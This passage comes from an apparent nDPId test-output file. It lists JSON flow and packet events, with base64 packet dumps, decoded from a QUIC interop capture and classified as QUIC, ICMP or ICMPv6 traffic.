1sLtiDLSix9f1+6LcFT10dfWo8qUHWrWQKOTbIY9nDBXTCntoa14qK3CE8mecM2VJ7ggYOHeAYHiK\/KSjuFeEFZdZUdhlNNgz9SYFL52F6XzgaZRwl5PM1sfRI+PVfN3H8HWyDW3URl12iKPr73MNCK5qktammCheXnaJBQPkIp2os8caGwd0tnC6YXcJ6lRUUduYnFyZK+vu28T7Dz\/LrOOfuQtWldYrGOIU6j6+ccDKu9WWuVGuX87kKb6hFa\/0Hcn3qf5Lj8lhGc0veQe668VrdjsW9Dbg+kfK24zU3dHzbLq\/XM+CIHEV0Yi\/cWiNNyuRa7ulzdTCAyRs9gYlEY9PmbmMmVnZTQWIYxLrJJXunKhqYDK1mFGTl5IvfBZY7XkX4mf2dHPjv4NDEk1QrCa1hHmGBMvl396\/dwaT6SqqWUBPCDC6vSElGrAMRRGJq9LvfuTt+lbz304CY2d8TLKimJoo6M2hj9FCUJij7LzuvBHoekrCNTyCpGkXK+6f28WuMzCkJmtH+2+vwCZ0cKmQ7CrGhhaebnvQZwlEFUK4HQuJy5pSXRkTWfe3guDQnvG2+9SrouXEZwHBxw4mhOlu4pZjXEqExMqWvswlRLClP4rnliDXpHH40rXKEVBoT8v\/j3qP19acEvtZNPaR+ixqYrvXUyjrT2RlXNw57\/diViUriBwdc6BZan7TmLF2I9JRDJyDmqg737XOiOdNXmktfhguZlHvtu8BzXOxe9QBMRua9UDc+uCEMwFmlIsRXS+UZdgutMlJZ1Lbmq8+H9dnSORxZcpeFndW83URbDqnqh3rTxU46PizBvjU3UUHxGcviHiAab4O\/xs7Wgwm5afjOM4HWTr2GZZohe06rmbLxZYWQRT95qnnPQz6O3YXVkngtM49zsYfYtwWc\/15r8OVdncTVWq9tmcsY+IComKrHlZhTs92vAihW5Z6kvjaWc9ntG7+kh9ebleS75pVIAPP3qfgdh\/HVMZQrPcJuQH8Y\/E2UgruG3vXoC9MYlyYHSvs\/p0NoudzrUECbg4P227GFsxLEbPUVjR8LlC7rVNTvhNIZWwC\/QrTxuvgRdHhiNNC8M2PCOHRg+GtiTF2\/CGbeBUpGmKvLPodeqZZylHTZhjgU1MkqVoyyY00fBkWduQkCMwlkuamhmTtYdY4kHKiR0ij2DmQLnLbFkclRCdK5g1smA=="} +00782{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":37,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":32,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2a00:ac00:4000:400:2e0:4cff:fe68:199d","src_port":52271,"dst_port":4434,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quant.eggert.org","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00531{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":38,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":51040,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02103{"flow_id":33,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":628781,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"pJGxgjQ5PKn0qB\/sht1gBiRvBNgRQCABCwcKydWupNP+R2kegH0mBKiACAAAoQAAAAASeTABx2ARUQTYzffDCgoKCggnNhDgZJaMQwAARL5IzeYAwPvJhqXqSzYyuvoAe\/H9DvMh4rH9IopmFLLCj+PhBdGZ40ll7ADayrGRVomiqXfQeeqE4lI0JVucWTRV10wN\/2X8338TTB6+1v0VW\/8KTorpg06AYkrrASXu2b1BsrKpwLL271kd\/dx+mnQSA2BQKuHrVBCwcaBHI0r8YyjQ1srYGqRDA+zKcgWvk4OEb2anzxkS+TxZp3BCgoJSxTVTaR5r447ESHGMmgukiZT5KEHWyWxF9d02oG1WB5o1fyWZF5XPYIfDooBiT1AvbGvAvfKT01RDHMenDf9O5UT9ob9+XRCiw125P6PnFWGEuoX7atzAW9zVIg++DcOuD6bQBa6hwrgrZiQuNBd8kuQqMdvHefesXx4K8g4hi0yN8Q2JiBx10ybm+sDchOmA+ZGI3KJA9MxZ0Sp73D0+bCJe480Wpk3E7r2Z4INozKeBGUIjWkyo7qFkmuan\/71DIvrB9t\/xagwgNTTJ3tPFFcZxULz8+MN\/EAmmnIbFUMJkGpaxaZkxUwzdBzzVfWgWxOxaXp6E\/Sp0HvH7wVBpKbhjbMf7v+XMfDLFzWRXSgKS3UI3Pb2wyqIDyMku47b+QW5Q8ogC6pRm7vw2ChoPyXCwYbBnsPUrSwZulaXZ21SytHaEU9+EZo8BWLIhbxHDWCqgcwiQOrN2ld6qsp3S\/Vk9wosbHKzGjZ8Fq0IulMECZI2u3F39UfOXkQRBydLXb8SJP0YbtSDYwJVwphKDdTuYShkSh02mqvLr++kOOrUBElEDb2FTjuj4gpf7X+VxQEKj1eV44pEqEnAkpTwMxZvrlvupezB2DaPuSdgJ2oTp\/O7zZVUZF0m\/4ldGEeQhWTjIV6CkEIKpRvwcA+UXJ\/KFZ8RG5C3FjLxgW6qDeZaa51INZ1jnCY0wbHYbjsu1o4BqZImbBcIYiSFGPgjyz05R3AU2gPyjMwQtepARpLhB2m2nPYRAMfmllWHd3xwrKK3Glp060Yi1hFmvIsxBYN\/HFmXph\/R7xAQ\/NCCsyb233XTR61h+5mjyr3kBdhvRp4FWAfrGEcdmYH09lxw8fsoI2fyGmlrIiLbF3Ib+dz+bKp06GWcTagDImEuKvHXDoqew6XT8CRp81NMwgYp2C0sRRT0X375VlYNNoST080OfYYTMWSZLZIXQh8aObm1WMLPdvWnM+yeTd\/mCvRRGkSoRfYLC7RPv4Px+NqngI+PBo1onxLjP+L4PKyIXY5M1Wb\/ntYVcCVD6Mu2L9o7pVgw2OSUjjv0o88lqeZ+5ZeeRR6GyrHda3BrAmnkZ+qpQgDgKYZH0YS\/dr3\/dP2b05Ar17LfJufSjGiJu4ojISm\/iPkcpJzhCB0Ulyrv0Qi0cZ\/5EJ37Gp3EGx9wtbixPCiSDCeFvjur1Q9TswIkIMcYKjzlTF8c4ari4VRXM+F7\/DFMpQowUPXMsTOknhf+QiC8PtIgajvJPz0z4ts8GtDrZNFWP1dmxLaXIf8adUNIotOd08gg+Fo+EaXwzTPqlyv8pnBs9YKcfmrjrW8mdx7psWvRm4G1XHb9iD7+F8FJK6uKYd40yFQLCG28wXMkr8rTqhU71QNHZ421qXPLwoECcRhsDGlUiQgzViqn2CQ=="} +00784{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":38,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":33,"flow_packet_id":1,"flow_first_seen":1603816434628,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","dst_ip":"2604:a880:800:a1::1279:3001","src_port":51040,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"http3-test.litespeedtech.com","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00458{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":39,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1603816434629,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"131.159.24.198","dst_ip":"192.168.1.128","l4_proto":"icmp","flow_datalink":1,"flow_max_packets":15} +01146{"flow_id":34,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":629806,"pkt_caplen":590,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":590,"pkt_l4_len":556,"pkt":"PKn0qB\/spJGxgjQ5CABFAAJAgVoAADQBpNWDnxjGwKgBgAMDhTkAAAAARQAFAE67QAA0EZSkwKgBgIOfGMaicxFRBOyPwMEKCgoKCAqQphKlf+flAABE0q1MzAF7B\/pTV0kG5xawMpe3HkhLaz5LmMUUyw3WhYoi5nbpPV7NpV4GM27AXpOgHO\/SzLtIdktFTC4TCKMp7m9qMnCbweSvMGChHkpC5U7w60\/uPzwGl47ucIe9rYiZgKyYjN+8oftGbKB4AlEqhdFs2MoFYovXtoKkQBN7VSB0IxvuY2TC3GidshXx3wTMXfzuo1\/6i1KLTmmNbxSq1CGPdP1PQ24uDLBbi+meANNn06rbl+K9tUdkmsxH+USREu4XCkprwqJDGZjipci4pVwimHHp5mYTfFDWt8XxRCHJmOScE5wt7DLDqP6wUv\/R9RjuGRN\/nD4BOc5F4KnrlgXBSjWA8uw\/1hUs9cHVpYBS0ltoa5wxXIx++EBaRxTWEi36GVZ65l2iVnWKkd\/xq7p88n0OTSzw9MX6zL1vpn8Q3b5hVpTOfk0XSi5xbalOfjBvaK425FOHISkLRT4hHBTrZPDUxwxwBg08G2H36nvO3sZ2DqZCH92UgDfl3OrnJTQ5kZer0RXiGe8JxWv76LxDqR1kJ0SXR282tjRVBUWk2yeunxwz3vNCj4omHVmk44mRi251cY+XJzT44HEva4iNMf74w7Rm7ot9s3dpNfVwJPF0r16L56vzdWhG5cGOJ1D+VSlbkJMR4r0BQwF2\/eCtSeTN+rk="} +00490{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":39,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":34,"flow_packet_id":1,"flow_first_seen":1603816434629,"flow_last_seen":0,"flow_tot_l4_data_len":556,"flow_min_l4_data_len":556,"flow_max_l4_data_len":556,"flow_avg_l4_data_len":556,"midstream":0,"l3_proto":"ip4","src_ip":"131.159.24.198","dst_ip":"192.168.1.128","l4_proto":"icmp","ndpi": {"proto":"ICMP","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":40,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1603816434640,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":45250,"dst_port":4433,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02106{"flow_id":35,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":640692,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAXZdAAEAReS3AqAGAM55pYrDCEVEE7CF4zAoKCgoI\/WffY03wSeUAAETSMHofJsIVRtpuQGVddBW97CfvMNh6FstJkOMpUt\/yyfMol2NH\/cmw9076\/GVp8Jiw6RRO55nAlaDXRKDx+fRRFB3MWLmB\/9BdlA7rKSF+bxrlmvb7IG3rx2evLnOEA295WB7h7yye\/Yb8SM1ckobonKrZZ3VSIcOyeDvx1To8yKU8S+qgO5UB6V6j3ZR4z8tia9hoRBaJuuWjnRXPIzRC\/Y4Ty4G0TTfbVLamm4ej+5tVGNr3TS7pN2Xzt9lr5OogvAmipVfcrFQmzNA\/+bixOvtJICDh3fR9sII+Aa6F3m95yiDF8HdhXx8TxWV640MZkTOca5MbcwS+YPz+INAIjF0s2owurg4clHkrQ\/h1vY9wfL8cau+doFTFKxQWkVu3t2i\/+mAsWEv1COMBJgtwWY\/1oMYnha9PWceb7bjtXvQ0AFrjBC2iUpE8uKG2lpMj3vw++EDHs4D8UOswAsYKSR3QKTNy5\/n9F2K6wbOe4lbPp1tEUC9i4BjrP65N5Jjd4whCLlWExxdcuUiqmeRWX1rLfPxynJrkw7vqaREC00sCdzi7Lh2rgh1ZgrEUMSznXgMtkuiWXjnmdl6yNUvpIov2oxF5IIqE7+inmRUO\/4bFKluz0rJxSvweOGUOG06qc89\/fVfEYvQVfSGie\/2jaZPAoa73lw60ChYZL5W8YQTUE+iYwCEs\/LrU43Io05inp4fW99XL+dqJLeBaKkadyRCr+ZlWnxdK3SIVAKssrqk8c+dwBP8Ga9TvI0fwtqyE9zLeGdLLth+UrgzbKZkjPtZvumQptE3y8vzXm3rNGckk+s+tH5kfuTErhMMgcEqqghapUSbghSKFnvd8KXrp5I5dImNV23VsAFnZphiNdSMrAO\/5tN9cHTB5kZFEzKzu5mIwtp39YSpIVho1618W4woojYayBTAYGdCFJnsdHAOWZ0YNc9fXqn3t7pH0RfvXqhkQ14VLJ65JuJqy\/Qz9StzBGBZch\/xsRQnL8tGwRc9QlrXGc3QWq7muqAOCyzpHoMChq2oTRE\/8HPgudmPNkrAf\/ScwBASioyMRhmPXbQOnz8kpZqhiLFLzbv+SqaBxgR+bgVYn1+3zxEWz0OQ7t81FdQLiQ\/r7o1w\/5GTxaT2UQy4+HSu3XgrEmc70xQDowI3TS6l1xbMtq6G0wpiqDxghwCsLBT2Jp0llaTYvV20z5T8ax80YSjv99Judp7QAD+5ZWDqxTHKL7rG3JmR6R8uIhzq4m21IYTygNOeNDTZrVPa3NY1BluNOiJM0ojQMwAtKPXhJSECktSWYBn4OIxP0YP6tXleYVmyb\/7bsrgrloCmarQYyCzGzZUopQB5p32ofLV7NTKVj48TfiOfWu7G7+u2kMk6czrGQwjYr399xRe06yg2sy+HVyEgd6XGMtNrXxL3I24LS63NRpc2fVvxrjZFP5bKendh2XIq59I5JF37M+rn6izwnuj0OrSHOnrx4VNLacB+DNwcXJTwF6fVCp5WfoIclvXXgD5bQwPAiNcduRQACIAJ6RQmeAmxrOjgDcNXfvMKHilUpISNlFeHOjhQMA+MiaVzNspXJLCod8B953YO\/H92LBu4hBpcVIl5YP489aYAYtVAU\/QpiEmGNr0vZKsef4Zb9RxDNgQgxIA=="} +00733{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":40,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":35,"flow_packet_id":1,"flow_first_seen":1603816434640,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"51.158.105.98","src_port":45250,"dst_port":4433,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"quic.seemann.io","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00494{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1603816434641,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":42456,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02110{"flow_id":36,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":641678,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAJ7VAAEAR9yjAqAGAhfLO9KXYAbsE7ImgzgoKCgoI+QsGqtFYjA8AAETSVUSb8KmUst+PHHzqT2SeL\/P07nKCp3USUYX2DxY7ve1fmgM+d6G2XMZ3HCv4lyQmqoBHOLElyJxOdKbHXGRlPb8Uw+yalWHgIS2xYoZgj5sMn8MqFHMsZqNCggoXKshRMixX78IzGLR2\/lKiD1A4mWU8YHeWKPR7TnPFWL0DkYoQdkBU3xXWNJeqWETA9YozB6efhg2cH2ogJnonWpHROpBEB6lu\/jcG\/MvvNGSQjaR7z3v7jq8Mw3XxsqjwZfgpi304y1BIMudGRSpwPxm1jggsFOOXDIKWUaaGiA8X1EtpSPbruNIaK\/L8nYCzR9\/1l92Fw0JngzKyN6xNFLLYtOKoV1Pwa0efysfY2dAAzQNo7LPVtGghy0jghB\/MURPiryuRJr7wLMN4\/xkziyibDmu9JuazbAVT5UQo01\/BC8SQIa5x6yjASIJd2bcftTT20FM1jxDiA3ArSF1FxI0DGP+Jup6uykp66yBe41NxzaF3JQhi3TYG05c9pWzR4rpiqKPbw8ISxSbEYLfqoBX7ZUxcl+Qs7EKjfeI5rSefpJ79UTAq2IOiRgmJMMPilU+j\/185uZ3gWFqXxY4lgvGRDb5sAaglqlZSnbVW0el8W0GPbw+\/aZQWJkNyosBG0ozqSDnxIVCgg0DqM7BVwbstGqm3b9mynQaPfUAvtCmsTRJuCzcgqkIiUtIZwgZHsP4Be4bN3A3Q2DeS1HWXmwRv5KaOe44h9q+4TtSXNmmmmTGGXWu2YAX7Lgvd0URyUOZt4f1KhTFK\/k8sK43+MB6mD4td8sjJsQiy0V30FZY3CtSNXK7u4R6vEWsgJPI55D4UDnEYK2uN8lk+fDHWtQbSlQqu0U4znKSeK2EAX9xBVuEJeh5HeX4+cNWyIRDmAoYsQmQgmHBoD6pedxp9SXnK9s\/7uoVpaKxNV9ZM\/iWMB\/uKFhDd1+o1EWWjwuWds0vy+ZbywiOwrY6ffiSgerdtWkuaQf7H9QdZ0UjwbnJvPjya7DyyPtvP8PWp\/N1D867R\/QvkR8ZIaOdSzOuUYBF\/bpCqsIrnKeR9VUtP9FyxkgG\/D6+0uEUl1c779cxCQck2S\/t2diwFSth\/DmYwuknya3f6okawJcF12dISBsiADyiScw4IixWhDn\/\/uIv78yc9e+mYJhjZyPxGXEyGiSruZ8bPrtfTna0\/r1NWY3ZypYWBjkDiSvD3Zfa1+eJsREXjUDRwmFnIeE1AgD9eHr4oXUc9yJ0M0cy1rxfrdBrPiv\/e9MTJXnRIvBev2VujEE1pdbaj\/uNoH8Iud1E4wh4YfsafTjdd+pK20QBXt1fVDPye\/nA\/auW82P\/6KerEyR8YFb1Q5decEBub3RIeRj1Zngb5dOSVgZS4YCk2C7bsuJFE8JSiO5eFBdWQrY9tTmedksZFAA6HhJPngNaUeVLzpnQktjQ5caPa6W7\/wHdT3eGdJpDXMcegGharvIfBkRc9tQPIVXwcqIbyrB3nyDdj71w60xBtjcgnuLW+j+IpTtj+MDyKaFGpdmJ95nu62ZA4gWFibO+sNt5rW4Ayr9RTU1vnb545kUJfXX39XayUfvMOvDTraKzQ3G7U4a0GC+KFmI9u9t3VltkEq5ickl9h+mNSdzqETNFgrEr943KdW+amAA=="} +00734{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":41,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":36,"flow_packet_id":1,"flow_first_seen":1603816434641,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"133.242.206.244","src_port":42456,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC","breed":"Acceptable","category":"Web"},"quic": {"client_requested_server_name":"h2o.examp1e.net","version":"TLSv1.3","alpn":"hq-30,h3-30,hq-29,h3-29,hq-28,h3-28,hq-27,h3-27","ja3":"7d9e7f6dec1cb1dd8b79d72b1366b6cf","tls_supported_versions":"TLSv1.3"}} +00511{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":42,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1603816434642,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","flow_datalink":1,"flow_max_packets":15} +02100{"flow_id":37,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":642398,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"PKn0qB\/spJGxgjQ5ht1gBmesBNg6MCABSAB4FwEBvnZO\/\/4EYx0gAQsHCsnVrqTT\/kdpHoB9AQRbQQAAAABgAK6QBNgRMCABCwcKydWupNP+R2kegH0gAUgAeBcBAb52Tv\/+BGMdhooBuwTYZF3MCgoKCgiLyuadTBhpMAAARL5Jn8vg\/A\/iHcc5HGyjUHtzYCYh3M+1HzdHtSjFxotnADrnTs2cVW9HALnbbxq+j13Bpa3hTOGyFKAuVKKOVbHcGaJLdNA06DSFzV66GiVnWQJ+1MFEeQ+EHU1tYSy5DynacUlvf1G20dd2kmKE70+xxOTQI+IxdCf39TGHKu+pGUdVYYzStvwWo5npAklpjTRW1hPHPgr+vxfK0tzntAB4tgdSsfnM003avASiWDb+GIQGRqQqd12Z3S73M6xSxbEpPhQs03GVV7j7jPCY+xuSqdE0+RC2M2xTxkDxrKzwifOo5JzioGQ8n1leAaytkPPh7\/6kP3tXKc3zSh+6mDapIcrXvGRPBtxzjcwZlnfC61xJLZ4o\/bDf7VXUn2iqev2r7RfntxDJ4F+CHoqdQU19Agb1DRLZ+44sSsLJRZPe0rMYqmphZb9TR\/CXfZoxmWSMgVmNHVqPhkUDRkBFiFUg2qWtzD6IUIlCi4UB90+3QDAMKbHPStmRV90FoZ4qgb1QWQshIsAOJrfADpMoeQeOvpHnWSBMA4n5tbORKddl3SJHwqDMa\/kYlEza3HmYzKyIekgCLUxBLZMgtxwl0pUeJvIYxMdZF6Znn7pRsQ+GhZyet6ZCOM2ft7uJCMRH5bphpdavcWHTrSt8uZ2iyfo3VofxaZqdzUsHHTpc9bD205szhfCxENgNATF1PGuWlfKJUrPPjUWPpw65iGFR3+hPQ1+ZRRE7orDx2vkC5kOJiEvbv0d6sp6yfMo3tuOn4kXULD2rf5TSc8aqDVZCklaUIbEuKaQv0jni\/XkpmdOw2UlUp3oYLZ9on+kdq43Nf9WrEJ+gfSZPMUZsyhXXyPRNGMrTBo0SUX31QcOdzW7AQaAXnJRZob+0gus27voTqIEPJh01fxeGPbXNNQ7VzwarPIKHRq1lGIs\/wJwJCsm2hQjq0+K3VFq4cXacrOp5mbdbbDJRXEnCejUnTswq7Ga3dz818NNmVp7FoznVEcHX3RQBfk8eLveHtTEpxIgmvWuj5aaZt+HyxH\/0YALf+wz6lv1s1l\/hg9o2e11OlebH1k7T7awcxgi41AZepwsE50V3GVh5GwIfK89lz9Ro6tly3hUhrsJ2ja1C+A6RBrWVVdcIlZY4BlIcSzf0BUccadkfpP\/Enz0yFkuHTLXTyrmsvl44wgxOvsJrZMwFacqnccJZHwZHWEMkNcxcPbL0Z2U7a3Xa12dEVYYVu1U+X65oQyb2yPkBqMJ+DTB9RU+DnZIynnRzCZZkuvH7Uzn\/zVoVu3fNULVHSP4L+ehdOiOmS0l9r6IzvZQbe+xLjtz2iXbuU36zKNhA17n0gtw0JDOpoFDbD0FwhdY1JUMZx18mcrbFQX02CO02e+BE1Anxc\/TfBIKj2hI2ObT4d57WIvq7cpwJxNdZMuBfjVhAX64+5X4J\/pGNdD3WMTo1fYU74kzII9sWnijVE1WzVIBymOIxdGDOuxbCm5vJaE\/oIJEfaWcfmDwa+jhxCRN2aqJvKC+Iwq2cNN7z7vgOXAZ9SIrdZFgVX8+v9NO3ca9aZg=="} +00545{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":37,"flow_packet_id":1,"flow_first_seen":1603816434642,"flow_last_seen":0,"flow_tot_l4_data_len":1240,"flow_min_l4_data_len":1240,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":1240,"midstream":0,"l3_proto":"ip6","src_ip":"2001:4800:7817:101:be76:4eff:fe04:631d","dst_ip":"2001:b07:ac9:d5ae:a4d3:fe47:691e:807d","l4_proto":"icmp6","ndpi": {"proto":"ICMPV6","breed":"Acceptable","category":"Network"}} +00493{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":43,"source":"quic_interop_V.pcapng","alias":"nDPId-test","flow_id":38,"flow_packet_id":1,"flow_first_seen":1603816434643,"flow_last_seen":0,"flow_tot_l4_data_len":1260,"flow_min_l4_data_len":1260,"flow_max_l4_data_len":1260,"flow_avg_l4_data_len":1260,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.128","dst_ip":"71.202.41.169","src_port":50289,"dst_port":4434,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02103{"flow_id":38,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"quic_interop_V.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1603816434,"pkt_ts_usec":643533,"pkt_caplen":1294,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1294,"pkt_l4_len":1260,"pkt":"pJGxgjQ5PKn0qB\/sCABFAAUAVf9AAEARrFLAqAGAR8opqcRxEVIE7K+PxgoKCgoIvbmHXcmpQ\/MAAETS3vbU8Sj6l2wQUfqZRc1xY7UZLfv8ZezreoQxaXMMFQplcHI2WGivL79HCn+gIsF8oZtTfotO31JT7vkJlhmOnm3lffZWDOZVO38TNr5VVART1r1V9c6QtCPl2rOLEXod3QmseC2zkUY1D5vxPNLpAyblFgLtoVLKMFRlexYKVyLMEaY69TsXwdxzuRMmPQ8UL6uRNnJiBB3upwv58iisAqq\/mRUYsFRLcP1OPYHQb5CZdE1Q\/A+91wfQFJGWqFUY9F+EFUVCV4bxdetx31E8OGGq+18vcHmg7G0LGgeINT+xkb92oyBcQkbST\/RWAy9hTbi4JTuezLjGIBdZzSMVzF4I6bcizx7siMmVUTnl3UmC\/rxQUcKk8XFu2YJs9y2Os4+WhVjMwJbIx\/bkcUSXo\/NnUnrT4jCwxD6nX7oTObYUuq8Cnz5uWFN6MRwb1OvukfRscRjrcumAQBklq8PagQJe6Oyy9xDjeo0pQi33fo\/c8Y2ccYq0oba\/ZjGmaTjWjw4fyRgR2xdNJWEfSX9rXqOdXmuGVEnT1hq2hHX+bWhy2QkCI7BHn0dcsep8lx89ym717WWE\/Xbpk0tFl\/pCnOGrBuniD5HFSZDdjSGLJoEXvoHbpOgi\/IJCVo50+AcmmA1BKQpFl8EapwyTEeKmc\/teOj7E7tI\/aOzLNeX8EUS3z24mYkZTFOR32Oujeu3clt1f1qtieJ4Tya9ptPHxYnje1QnGDP7dwz5gh676z5hDQGO4+4bo6ul6N0iIcXDo+Yt7zeunYaItRqPosZXZf2RDRVFhaPMyZpD37kbwM3I2xJNOsJXPxB4VObi0enWqgsSeRLY928BMaf67KliYniVAoxk2r104WSZUE7jxtTguYe4EME09Q5d6rrjnTfQPYIelchCLjz7IISF0G4QSth+iInqIg43sXwXNGEiA5n2ll+d4YEisZf5kJw7z7z4H8LHdJs0yPLtOkDemSyBDayKCguo3SC6thZsf4fL8MHcNaDnsBOQ3qsjckq3DPrhBaaQQ\/PnOQb0Pep8XXsjDPf1z6oYyQ5OmCTSiiICzO3jhCvp6VkuawZ63dTmMdwG07DNkuUzrCU1s3uXcU3hD432hU+A1bUo4tC\/eVs7\/Cg1UBIH4KQAD55x1zc1rsEiqb1C7faMv3OY